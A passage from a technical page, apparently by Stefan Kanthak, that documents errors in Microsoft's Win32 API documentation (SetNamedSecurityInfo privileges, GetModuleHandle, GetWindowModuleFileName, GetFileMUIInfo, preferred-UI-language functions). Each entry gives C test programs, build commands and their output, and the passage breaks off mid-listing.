    					                          SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
    #endif
    					                          DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
    					                          LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
    					                          &owner,
    					                          (SID *) NULL,
    					                          (ACL *) NULL,
    #ifndef BLUNDER
    					                          (ACL *) NULL);
    #else
    					                          &sacl);
    #endif
    					if (!CloseHandle(hBlunder))
    						dwError = GetLastError();
    				}
    			}
    #endif // blunder
    			if (!CloseHandle(hToken))
    				dwError = GetLastError();
    		}
    
    		if (!DeleteFile(L"blunder.tmp"))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  12. Compile and link the source file blunder.c overwritten in step 11. a first time:

    CL.EXE blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(95) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  13. Execute the console application blunder.exe built in step 12. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH⁵: the Win32 function SetNamedSecurityInfo() fails to write the security descriptor with Win32 error code 5 alias ERROR_ACCESS_DENIED – contrary to the highlighted statements of the first documentation cited above, the SeRestorePrivilege alias SE_RESTORE_NAME privilege does not grant the explicitly named WRITE_DAC and WRITE_OWNER access rights!
  14. Compile and link the source file blunder.c overwritten in step 11. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(95) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(101) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  15. Execute the console application blunder.exe built in step 14. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314)
    Error message text: A required privilege is not held by the client.
    CertUtil: -error command completed successfully.
    OUCH⁶: the Win32 function SetNamedSecurityInfo() fails to write the security descriptor with Win32 error code 1314 alias ERROR_PRIVILEGE_NOT_HELD – contrary to the highlighted statements of the first documentation cited above, the SeRestorePrivilege alias SE_RESTORE_NAME privilege also fails to grant the explicitly named ACCESS_SYSTEM_SECURITY access right required to (read and) write the SACL of a security descriptor!
  16. Compile and link the source file blunder.c overwritten in step 11. a third time, now with the preprocessor macro blunder defined:

    CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  17. Execute the console application blunder.exe built in step 16. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Note: the Win32 function SetSecurityInfo() succeeds and works properly – most obviously the SetNamedSecurityInfo() function opens files without the FILE_FLAG_BACKUP_SEMANTICS flag!
  18. Compile and link the source file blunder.c overwritten in step 11. a last time, now with the preprocessor macros BLUNDER and blunder defined:

    CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(131) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  19. Execute the console application blunder.exe built in step 18. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 30

The documentation for the Win32 function GetModuleHandle() states:
Retrieves a module handle for the specified module. The module must have been loaded by the calling process.

[…]

HMODULE GetModuleHandle(
  [in, optional] LPCTSTR lpModuleName
);
[…]

[in, optional] lpModuleName

[…]

If this parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file).

The documentation for the Win32 function GetModuleHandleEx() states:
Retrieves a module handle for the specified module and increments the module's reference count unless GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT is specified. The module must have been loaded by the calling process.

[…]

BOOL GetModuleHandleEx(
  [in]           DWORD   dwFlags,
  [in, optional] LPCTSTR lpModuleName,
  [out]          HMODULE *phModule
);
[…]

[in, optional] lpModuleName

[…]

If this parameter is NULL, the function returns a handle to the file used to create the calling process (.exe file).

OUCH⁰: both functions don’t return a handle to the .exe file from which a process was loaded, but the handle alias load address of the process, equal to the address of the symbol __ImageBase supplied by the linker!

Falsification

Perform the following 5 simple steps to prove the highlighted statements of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2009-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    #ifndef BLUNDER
    	HMODULE	hProcess = GetModuleHandle((LPCWSTR) NULL);
    	DWORD	dwError = (DWORD_PTR) hProcess ^ (DWORD_PTR) &__ImageBase;
    #else
    	HMODULE	hProcess;
    	DWORD	dwError = ERROR_SUCCESS;
    
    	if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    	                       (LPCWSTR) NULL,
    	                       &hProcess)
    	 || !CloseHandle(hProcess))
    		dwError = GetLastError();
    #endif
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    0
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x6 (WIN32: 6 ERROR_INVALID_HANDLE) -- 6 (6)
    Error message text: The handle is invalid.
    CertUtil: -error command completed successfully.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 31

The documentation for the Win32 function GetWindowModuleFileName() states:
Retrieves the full path and file name of the module associated with the specified window handle.
CAVETA: this documentation fails to specify error conditions and restrictions!

The MSKB article 228469 but states:

GetWindowModuleFileName and GetModuleFileName correctly retrieve information about windows and modules in the calling process. In Windows 95 and 98, they return information about windows and modules in other processes. However, in Windows NT 4.0 and Windows 2000, since module handles are no longer shared by all processes as they were on Windows 95 and 98, these APIs do not return information about windows and modules in other processes.
OUCH⁰: Windows NT 4.0 and Windows 2000 were released in the last millennium, but nobody at Microsoft was able to add the information published in the MSKB article 228469 to the documentation for the Win32 function GetWindowModuleFileName() for more than 25 (in words: twenty-five) years – it's a real shame!

Demonstration

Perform the following 3 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	FARPROC	fpWindow[] = {GetActiveWindow,
    		              GetConsoleWindow,
    		              GetDesktopWindow,
    		              GetForegroundWindow,
    		              GetOpenClipboardWindow,
    		              GetShellWindow};
    
    const	LPCWSTR	szWindow[] = {L"GetActiveWindow",
    		              L"GetConsoleWindow",
    		              L"GetDesktopWindow",
    		              L"GetForegroundWindow",
    		              L"GetOpenClipboardWindow",
    		              L"GetShellWindow"};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBlunder[MAX_PATH];
    	HWND	hWindow;
    	DWORD	dwWindow = 0UL;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		do
    		{
    			hWindow = (HWND) (fpWindow[dwWindow])();
    
    			if (hWindow == NULL)
    				PrintConsole(hError,
    				             L"%ls() returned NULL\n",
    				             szWindow[dwWindow]);
    			else
    			{
    				SetLastError(~0UL);
    
    				if (GetWindowModuleFileName(hWindow,
    				                            szBlunder,
    				                            sizeof(szBlunder) / sizeof(*szBlunder)) == 0UL)
    					PrintConsole(hError,
    					             L"GetWindowModuleFileName(%ls(), …) returned error %lu\n",
    					             szWindow[dwWindow], GetLastError());
    				else
    					PrintConsole(hError,
    					             L"GetWindowModuleFileName(%ls(), …) returned error %lu and \'%ls\'\n",
    					             szWindow[dwWindow], GetLastError(), szBlunder);
    			}
    		}
    		while (++dwWindow < sizeof(fpWindow) / sizeof(*fpWindow));
    
    		if (GetWindowModuleFileName(HWND_DESKTOP,
    		                            szBlunder,
    		                            sizeof(szBlunder) / sizeof(*szBlunder)) == 0UL)
    			PrintConsole(hError,
    			             L"GetWindowModuleFileName(HWND_DESKTOP, …) returned error %lu\n",
    			             dwError = GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W3 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(32) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)'
    blunder.c(33) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)'
    blunder.c(34) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)'
    blunder.c(35) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)'
    blunder.c(36) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)'
    blunder.c(37) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    GetActiveWindow() returned NULL
    GetWindowModuleFileName(GetConsoleWindow(), …) returned error 0 and 'C:\Users\Stefan\Desktop\blunder.exe'
    GetWindowModuleFileName(GetDesktopWindow(), …) returned error 4294967295
    GetWindowModuleFileName(GetForegroundWindow(), …) returned error 0 and 'C:\Users\Stefan\Desktop\blunder.exe'
    GetOpenClipboardWindow() returned NULL
    GetWindowModuleFileName(GetShellWindow(), …) returned error 4294967295
    GetWindowModuleFileName(HWND_DESKTOP, …) returned error 1400
    
    0x578 (WIN32: 1400 ERROR_INVALID_WINDOW_HANDLE) -- 1400 (1400)
    Error message text: Invalid window handle.
    CertUtil: -error command completed successfully.
    OUCH¹: for valid but foreign window handles except that of its console window, the Win32 function GetWindowModuleFileName() fails to set the last error code!

    OUCH²: upon success it returns the pathname of the calling (console) application and resets the last error code!

    Note: the Win32 error code 1400 alias ERROR_INVALID_WINDOW_HANDLE is expected – the preprocessor macro HWND_DESKTOP is defined as ((HWND) 0) alias NULL!

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 32

The documentation for the Win32 function GetFileMUIInfo() states:
Retrieves resource-related information about a file.
BOOL GetFileMUIInfo(
  [in]                DWORD        dwFlags,
  [in]                PCWSTR       pcwszFilePath,
  [in, out, optional] PFILEMUIINFO pFileMUIInfo,
  [in, out]           DWORD        *pcbFileMUIInfo
);
[…]

[in, out, optional] pFileMUIInfo
[…]
Alternatively, the application can set this parameter to NULL if pcbFileMUIInfo is set to 0. In this case, the function retrieves the required size for the information buffer in pcbFileMUIInfo.
[…]

[in, out] pcbFileMUIInfo
[…]
Alternatively, the application can set this parameter to 0 if it sets NULL in pFileMUIInfo. In this case, the function retrieves the required file information buffer size in pcbFileMUIInfo. To allocate the correct amount of memory, this value should be added to the size of the FILEMUIINFO structure itself.

CAVEAT: the highlighted statement of the documentation cited above is but misleading and wrong – the initial call of the Win32 function GetFileMUIInfo() for any module, with address and size of the buffer given as NULL and 0, fails (expected and intended) with Win32 error code 122 alias ERROR_INSUFFICIENT_BUFFER, and always returns 84 as (additional) buffer size; a buffer of sizeof(FILEMUIINO) + 84 bytes is but not always sufficient, so subsequent calls can fail again with Win32 error code 122 alias ERROR_INSUFFICIENT_BUFFER!

Note: implemented properly, the first call would return the correct (full) buffer size and grant a successful second call, as documented (for example) in the MSDN article Retrieving Data of Unknown Length – it’s a shame that Microsoft’s developers ignore their own company’s documentation!

Falsification

Perform the following 3 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2009-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	WCHAR	szModule[] = L"C:\\Windows\\RegEdit.exe";
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PFILEMUIINFO	lpFileMUIInfo = NULL;
    	DWORD		dwFileMUIInfo = 0UL;
    	DWORD		dwError;
    	HANDLE		hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    		if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
    		                   szModule, lpFileMUIInfo, &dwFileMUIInfo))
    			PrintConsole(hError,
    			             L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
    			             dwError = GetLastError(), dwFileMUIInfo, szModule);
    		else
    		{
    			PrintConsole(hError,
    			             L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
    			             dwError = GetLastError(), dwFileMUIInfo, szModule);
    
    			dwFileMUIInfo += sizeof(FILEMUIINFO);
    
    			while (dwError == ERROR_INSUFFICIENT_BUFFER)
    			{
    				lpFileMUIInfo = LocalAlloc(LPTR, dwFileMUIInfo);
    
    				if (lpFileMUIInfo == NULL)
    					PrintConsole(hError,
    					             L"LocalAlloc() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					lpFileMUIInfo->dwSize = dwFileMUIInfo;
    					lpFileMUIInfo->dwVersion = MUI_FILEINFO_VERSION;
    
    					if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
    					                   szModule, lpFileMUIInfo, &dwFileMUIInfo))
    						PrintConsole(hError,
    						             L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
    						             dwError = GetLastError(), dwFileMUIInfo, szModule);
    					else
    						PrintConsole(hError,
    						             L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
    						             dwError = GetLastError(), dwFileMUIInfo, szModule);
    
    					if (LocalFree(lpFileMUIInfo) != NULL)
    						PrintConsole(hError,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    			}
    		}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2.:

    .\blunder.exe
    GetFileMUIInfo() returned error 122 and buffer size 84 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned error 122 and buffer size 166 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned error 122 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned success 0 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 33

The documentation for the Win32 function GetSystemPreferredUILanguages() specifies:
Retrieves the system preferred UI languages. […]
BOOL GetSystemPreferredUILanguages(
  [in]            DWORD   dwFlags,
  [out]           PULONG  pulNumLanguages,
  [out, optional] PZZWSTR pwszLanguagesBuffer,
  [in, out]       PULONG  pcchLanguagesBuffer
);
[…]

[out] pulNumLanguages

Pointer to the number of languages retrieved in pwszLanguagesBuffer.

[out, optional] pwszLanguagesBuffer

Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited system preferred UI languages list, in the format specified by dwFlags. This list ends with two null characters.

Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.

[in, out] pcchLanguagesBuffer

Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.

Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.

[…]

Returns TRUE if successful or FALSE otherwise. […]

The documentation for the Win32 function GetUserPreferredUILanguages() specifies:
Retrieves information about the display language setting. […]
BOOL GetUserPreferredUILanguages(
  [in]            DWORD   dwFlags,
  [out]           PULONG  pulNumLanguages,
  [out, optional] PZZWSTR pwszLanguagesBuffer,
  [in, out]       PULONG  pcchLanguagesBuffer
);
[…]

[out] pulNumLanguages

Pointer to the number of languages retrieved in pwszLanguagesBuffer.

[out, optional] pwszLanguagesBuffer

Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited display language list, in the format specified by dwflags. This list ends with two null characters.

Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.

[in, out] pcchLanguagesBuffer

Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.

Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.

[…]

Returns TRUE if successful or FALSE otherwise. […]

The documentation for the Win32 function GetThreadPreferredUILanguages() specifies:
Retrieves the thread preferred UI languages for the current thread. […]
BOOL GetThreadPreferredUILanguages(
  [in]            DWORD   dwFlags,
  [out]           PULONG  pulNumLanguages,
  [out, optional] PZZWSTR pwszLanguagesBuffer,
  [in, out]       PULONG  pcchLanguagesBuffer
);
[…]

[out] pulNumLanguages

Pointer to the number of languages retrieved in pwszLanguagesBuffer.

[out, optional] pwszLanguagesBuffer

Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited thread preferred UI languages list, in the format specified by dwFlags. This list ends with two null characters.

Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.

[in, out] pcchLanguagesBuffer

Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.

Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.

[…]

Returns TRUE if successful or FALSE otherwise. […]

The documentation for the Win32 function GetProcessPreferredUILanguages() states:
Retrieves the process preferred UI languages. […]
BOOL GetProcessPreferredUILanguages(
  [in]            DWORD   dwFlags,
  [out]           PULONG  pulNumLanguages,
  [out, optional] PZZWSTR pwszLanguagesBuffer,
  [in, out]       PULONG  pcchLanguagesBuffer
);
[…]

[out] pulNumLanguages

Pointer to the number of languages retrieved in pwszLanguagesBuffer.

[out, optional] pwszLanguagesBuffer

Optional. Pointer to a double null-terminated multi-string buffer in which the function retrieves an ordered, null-delimited list in preference order, starting with the most preferable.

Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.

[in, out] pcchLanguagesBuffer

Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.

Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.

[…]

Returns TRUE if successful or FALSE otherwise. […]

If the process preferred UI language list is empty or if the languages specified for the process are not valid, the function succeeds and returns an empty multistring in pwszLanguagesBuffer and 2 in the pcchLanguagesBuffer parameter.

Note: the first 3 functions were introduced with Windows Vista, the last function was introduced with Windows 7.

Falsification

Perform the following 3 simple steps to show the blunder and prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2009-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBlunder[LOCALE_NAME_MAX_LENGTH + 1];
    	DWORD	dwBlunder = 0UL;
    	DWORD	dwCount = ~0UL;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!GetSystemPreferredUILanguages(MUI_LANGUAGE_NAME,
    		                                   &dwCount,
    		                                   (LPWSTR) NULL,
    		                                   &dwBlunder))
    			PrintConsole(hError,
    			             L"GetSystemPreferredUILanguages() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hError,
    			             L"System\t%lu\t%lu\n",
    			             dwCount, dwBlunder);
    		dwCount = ~0UL;
    		dwBlunder = 0UL;
    
    		if (!GetUserPreferredUILanguages(MUI_LANGUAGE_NAME,
    		                                 &dwCount,
    		                                 (LPWSTR) NULL,
    		                                 &dwBlunder))
    			PrintConsole(hError,
    			             L"GetUserPreferredUILanguages() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hError,
    			             L"User\t%lu\t%lu\n",
    			             dwCount, dwBlunder);
    		dwCount = ~0UL;
    		dwBlunder = 0UL;
    
    		if (!GetProcessPreferredUILanguages(MUI_LANGUAGE_NAME,
    		                                    &dwCount,
    		                                    (LPWSTR) NULL,
    		                                    &dwBlunder))
    			PrintConsole(hError,
    			             L"GetProcessPreferredUILanguages() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hError,
    			             L"Process\t%lu\t%lu\n",
    			             dwCount, dwBlunder);
